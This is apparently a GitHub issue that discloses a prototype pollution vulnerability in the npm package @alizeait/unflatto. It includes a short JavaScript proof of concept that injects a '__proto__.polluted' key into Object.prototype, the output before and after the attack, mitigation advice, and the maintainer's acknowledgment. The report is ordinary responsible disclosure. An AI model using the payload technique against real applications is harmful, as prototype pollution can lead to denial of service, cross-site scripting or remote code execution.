Prototype pollution vulnerability affecting unflatto module, versions *

[mestrtee]

Overview

The vulnerability located at exports.unflatto (@alizeait/unflatto/dist/index.js:1) as the property of the source unsafely assigned to the destination. An attacker can be exploit this method to copy malicious property to the built-in Object.prototype through the special properties __proto__ or constructor.prototype.
Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service,
remote code execution or cross-site scripting attacks.

PoC:

(async () => {
  const lib = await import('@alizeait/unflatto');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default.unflatto ({ "__proto__.polluted": true})
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Output:

Before Attack:  {}
After Attack:  {"polluted":true}

Output of a successful fix:

Before Attack:  {}
After Attack:  {}

How to prevent:

Assign or copy a property should only be applied an own property of the destination object, thus, check for that (e.g using hasOwnProperty) is sufficient. Alternatively, block the property names __proto__ or constructor assigned. Other recommendations at Snyk.io:
https://learn.snyk.io/lesson/prototype-pollution/#a0a863a5-fd3a-539f-e1ed-a0769f6c6e3b

[alizeait]

Thanks for reporting this, it indeed is an issue! I’ll push a fix soon

[mestrtee]

Is there any updates on the fix